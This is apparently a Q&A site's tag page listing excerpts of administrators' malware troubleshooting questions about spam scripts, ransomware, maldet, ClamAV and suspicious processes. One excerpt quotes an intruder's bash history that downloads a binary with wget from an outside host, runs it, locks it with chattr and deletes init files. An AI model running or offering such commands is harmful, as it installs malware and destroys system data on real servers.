Malware is any software application which subverts the will of the legitimate owner of a computer, by means of force or subterfuge, with or without personal or monetary gain on the part of the creator.

learn more… | top users | synonyms (1)

-1
votes
0answers
16 views

Linux Server Sending Spam, Linux Malware Detect / ClamAV can't find the malware [duplicate]

I am using Linux Malware Detect and ClamAV in order to find spam malware on my linux server (Debian Squeeze). It doesn't seem to find what is sending it, as me and other users keep received rebound E-...
0
votes
2answers
28 views

Ransomware infection: What to do [duplicate]

t seems that somehow our domain computers have been infected by rasomware, turning files into encrypted files ending with .crypted. Lots of file have been changed and we do have back up. At the same ...
1
vote
0answers
16 views

Script file is created to send junk mails [duplicate]

I have installed Joomla 3.3.6 on my ubnutu server 15.04 on cloud. I have noticed some script file created automatically which is sending some junk mail randomly. I have installed maldetect to check ...
3
votes
2answers
128 views

Outlook Web Access, Exchange 2013, Malware

we have an exchange 2013 server and most users are all use OWA. The other day a user openend an email with an .doc attachment using OWA and the local antivirus automatically quarantined it and stopped ...
0
votes
0answers
12 views

How to change IE settings on Win 10 without opening IE to remove safebrowsing.biz malware? [duplicate]

I've got safebrowsing.biz on my Windows 10 that changed home page on Internet Explorer to point to the above website that immediately take over with multiple popups that prevent me from changing IE ...
-2
votes
0answers
26 views

Which type of virus/malware is file with extension .pdf.bart.zip? [duplicate]

I had K7 antivirus still my machine got infected with some virus and all the documents are encrypted with some file extensions and passwords .bart.zip (and hidden) Which type of virus is file with ...
0
votes
1answer
46 views

How to diagnose process at 100% CPU without being able to shell in?

Given an Ubuntu 14.04 server setup on a popular VPS provider hosting a single website with Nginx, Apache and WordPress / PHP, after starting the server it works fine for a while. Days later the VPS ...
0
votes
1answer
32 views

How can I identify applications or processes using thunder protocol in the network

For the last one week we have been having performance issues with our internet connection. The only thing that i know of that has changed with in this period is that I have upgraded several desktop OS ...
1
vote
1answer
53 views

We've had a ransom-ware attack - looking for help/advice

I've recently started working in a small subsidiary of a larger international organisation. My work is on the help desk, and there's 3 developers on the team, and our boss is the manager and acting ...
0
votes
0answers
28 views

Suspicious domains in DNS logs

I'm seeing a lot of domains in our networks DNS logs (recursive) that all seem to be related and all return some sort of hash on port 80 Does anyone know what software is using them? ...
0
votes
2answers
42 views

Inspecting TLS/SSL passing in/out of a network without specialised device?

At the moment I'm managing a small home office setup - a few PCs and a soft open source x86 *nix based router. I'd like to move traffic scanning / inspection onto an edge device. The motive is to ...
0
votes
0answers
14 views

Directories in the shared server in hosting turns shortcut icon

I'm just new to this server administration. I'm still finding my ways. We have site that is hosted in HOSTWAY. In my FTP I can see that my directories has turn its Icon as shortcut. We hosted ...
0
votes
0answers
23 views

Trying to find a trojan with Auditctl. Not enough information

So I have a website in Wordpress that keeps getting infected and starts sending spam emails. I have set up rules on AuditCTL on my Centos 6 server to find the culprit script but the information is ...
0
votes
0answers
30 views

How to fully track file creation on Centos

I have a server with CentOS which keeps getting infected. The infection always creates a file called post.php in httpdocs which starts sending emails. By default in Linux I can only see owner of the ...
1
vote
0answers
68 views

Is it possible to check the progress of of a currently running clamAV scan?

I have searched around but not found a possible solution to this so far. I have an ongoing scan which I thought would've been finished at certain time, but unfortunately it has not. So I am wondering ...
0
votes
1answer
121 views

Linux Maldetect Not Sending Email Reports

I've set Linux Malware Detect to send me emails of the reports it generates, but haven't received a single one even though it has produced several reports. Relevant maldet settings /usr/local/...
1
vote
1answer
176 views

Microsoft Security Essentials says phantomjs for Windows has Varpes.M!plock virus

I can scan the zip file phantomjs-2.1.1-windows.zip, and it does not remove anything. But once I unzip the exe, Security Essentials remove the phantomjs.exe. The zip has the correct MD5 checksum. Any ...
1
vote
1answer
1k views

Something renames files to filename.ext.suspected

I've experienced a very strange behavior on a Debian server. This server runs a lot of website, most of them CMS, mainly WordPress. And sometimes something renames my files from wp-db.php to wp-db....
4
votes
1answer
282 views

Will preventing POST requests stop the spread of a remote access trojan?

I like the acronym RAT (remote access trojan), because it resembles another type of thing you need to get rid of from your kitchen, and because when you get rid of one and find the hole it made and ...
0
votes
1answer
42 views

Errors installing Linux Malware Detector on Ubuntu 14.04 LTS

Upon running ./install .sh, I get... ln: failed to create symbolic link ‘/usr/local/sbin/maldet’: No such file or directory ln: failed to create symbolic link ‘/usr/local/sbin/lmd’: No such file or ...
1
vote
1answer
104 views

Getting heavy traffic from random IP addresses

Digital ocean closed my droplet dude to have traffic on droplet. I made a new droplet(instance) and I am facing the same issue again. My nginx access.log is full of random ip address trying to make ...
1
vote
1answer
79 views

Troubleshooting connectivity when curl returns 'empty reply' from a server on my computer only

For whatever reason, my computer (Mac OS X 10.11.1) cannot fetch a webpage from a website using curl when it works fine on other computers. Also ping works but curl doesn't: $ ping www.latex-tutorial....
1
vote
0answers
26 views

LMD/Maldetect: Missing target-file operand after

After running mallet 1.5 in screen-mode (# maldet -a /var/www) I'm getting this return: maldet(6070): {scan} 618017/618044 files scanned: hits 0 cleaned/usr/bin/wc: /usr/local/maldetect/tmp/.sess....
0
votes
2answers
38 views

Find out which PHP-Script starts Apache2-process

I would like to know how you find out which php-scripts are starting apache2-processes, which are causing high load. It seems that one user is infected with malware (php-shell). LMD (maldet/maldetect)...
2
votes
1answer
127 views

Detecting/preventing malicious outlook rules

Attackers like to abuse Outlook for a variety of purposes. For example, an attacker could auto forward emails to a remote address or persist inside a network by creating client-side rules that ...
1
vote
1answer
64 views

Malware scanning in the cloud (Azure)

Has anyone had success implementing a mechanism that can scan uploaded files for malware when using Azure? In this instance, I would be using their Sites and storage options, rather than controlling ...
0
votes
0answers
46 views

using testdisk to restore old superblock, cryptowall3.0 restoration

I have a drive that was infected with cryptowall3.0 Documentation states that the file is deleted and then from memory a new file is encrypted and that memory file is rename. Hypothetically restoring ...
1
vote
1answer
600 views

How can I scan files (or data streams) for virus/malware before uploading them into the server and database?

How can I scan an incoming file upload (or a datastream) into a webserver and database for virus/malware? I know how (using the excellent Clam) to scan things after they have been uploaded, but I ...
0
votes
2answers
214 views

Ads by jabuticaba in all browsers

Recently we got a user who had some malware on his machine -- we've run our McAfee VirusScan Enterprise software, malware bytes anti-malware, combo-fix, adwcleaner and hijack this just to name a few ...
0
votes
0answers
11 views

redirect malware on server - next steps? [duplicate]

At least 3 separate websites (running different php web applications ) on our server have been very occasionally (few times a moonth) redirecting pages to malware pages showing ads. Initially it wasn'...
0
votes
2answers
480 views

How can I check who created a file on server?

Looking through server logs I've noticed some mailicious PHP files hidden among WP and Joomla folders and I'm wondering how they got on the server. Is there a way to review that? It's a shared hosting ...
0
votes
0answers
27 views

My server got hacked [duplicate]

My server was hacked and I've found the next in the bash history: cd /usr/bin wget lixianddos.com:2211/syslog chmod u+x syslog ./syslog ss chattr +i syslog mv chattr ddos rm -rf /etc/init/conteol-alt-...
0
votes
1answer
70 views

Strange process running

I just mentioned that one user starts a process which is called "httpd". 31712 ftp_johndoe 20 0 35988 8828 1460 S 14.0 0.0 1h50:31 httpd 28616 ftp_johndoe 20 0 5304M 43936 35080 S 4.0 0.2 ...
0
votes
2answers
3k views

Is there a quick & easy solution to protect server 2012 against malware?

For a Windows Server 2012 Standard GUI version to support a small IDE Getting malware protection on my 1st server has become a much bigger problem than I imagined it would. My research covered a lot ...
-3
votes
0answers
105 views

How to disable Symbolic link creation option to users in cPanel server? [closed]

In shared hosting server, one user is trying to upload 100s of symbolic link files and trying to access files out side. Mostly it is for malicious purpose. In this image, you can see 100s of symlink ...
0
votes
1answer
62 views

SCEP: imitate potential threat in both live and regular scanner to inspect logs

I am doing some powershell stuff to parse a few logs at work. I would also like to collect some information from the SCEP logs. I find the amount of logs available as well as the different locations ...
3
votes
0answers
99 views

Linux Malware Detection Monitoring: Clean files after hit

I'm using LMD ("Maldet") for scanning a web server with different projects. For this purpose I'm using the inotify-monitoring. Well, the inotify-log shows, that the modified files are noticed, but I ...
0
votes
2answers
2k views

clamscan using maldet Error: Servname not supported for ai_socktype

So i have installed Linux Malware Detect (maldet) to scan a server and everything went fine with installation but when i run it i get an error. Bunch of errors and than the scan just closes it. Here ...
-1
votes
1answer
150 views

SED multiline recursive find and replace [duplicate]

I have a large number of sites with the same bit of php inserted in all files that contain footer in their filenames. //###==### malicious code //###==### How to use SED or another command to ...
1
vote
1answer
161 views

Receiving empty mails from three different Windows PC's since 12 January, 2015

Problem Unexpected empty emails are sent by an unknown source since 12 January, 2015. Attempts to solve the issue they are all from company where I do network/sys support they are all from Windows ...
0
votes
1answer
415 views

How to remove crypto-ransomware on my network domain

Today some computer on my domain got infected with crypto-ransomware and have infected some folders on file server that only some computers on network have access to. So I presume one or more of five ...
1
vote
2answers
79 views

Why is this server generating outbound IRC connections? [duplicate]

I noticed last night whilst checking our active sessions list on our firewall for something else, that a server was generating outbound IRC connections. Last night there was around 60 connections but ...
0
votes
2answers
452 views

My servers are overloaded with random GET requests. Why? [duplicate]

I'm getting a huge amount of traffic to web servers looking for bittorrent type queries: 110.152.78.14 - - [27/Jan/2015:01:45:22 +0000] "GET /announce.php?info_hash=%3E%F3%0B%907%7F%9D%E1%C1%CB%BAiF%...
0
votes
1answer
419 views

Automatic installation of DbSecurityspt folder [duplicate]

We have an Amazon EC2 instance. The folder DbSecurityspt gets automatically installed in c:/ProgramFiles and the associated service also starts automatically. Removing them, installs them again the ...
-1
votes
1answer
287 views

Server is trying to send out spam [duplicate]

My email server is attempting to send out a great deal of spam. I'm using Postfix & Dovecot. I'm trying to diagnose the problem and figure out how this is being sent. My guess right now is that ...
-1
votes
1answer
828 views

Backdoor:PHP/Shell.P keeps regenerating.Caught by Antivirus. [duplicate]

I have a windows server 2008 with PHP on it and a few Wordpress sites on it. I got a virus some time ago. I thought I had it deleted and everything was fine but after looking at my Quarantine section ...
1
vote
4answers
426 views

Blocking Invalid HTTP Requests to PHP Application

For the first time in a number of years, I'm semi-responsible for helping out with the server administration of a PHP web application (served out using Apache). We're seeing a number of requests for ...
0
votes
1answer
246 views

Apache2 Mod_spamhaus Whitelist

We are using Apache2 mod_spamhaus and many customers were banned using the "Post" method. There is no way to deny mod_spamhaus ban continuously our customers making false positive or ban customers ...
3
votes
2answers
351 views

High number connections coming from an IP

On our corporate network we're detecting workstations opening too many connections to the IP address 75.126.196.159 (port 3478) causing the Cisco ASA Firewall 5550 to detect a "SYN Attack" and reach ...
-5
votes
1answer
66 views

How to check if any malevolent scripts are running on the server? [closed]

I want to give some small jobs to freelancers who would have FTP access to my websites hosted on my server. I heard that sometimes it's possible they put malevolent scripts and software on the server,...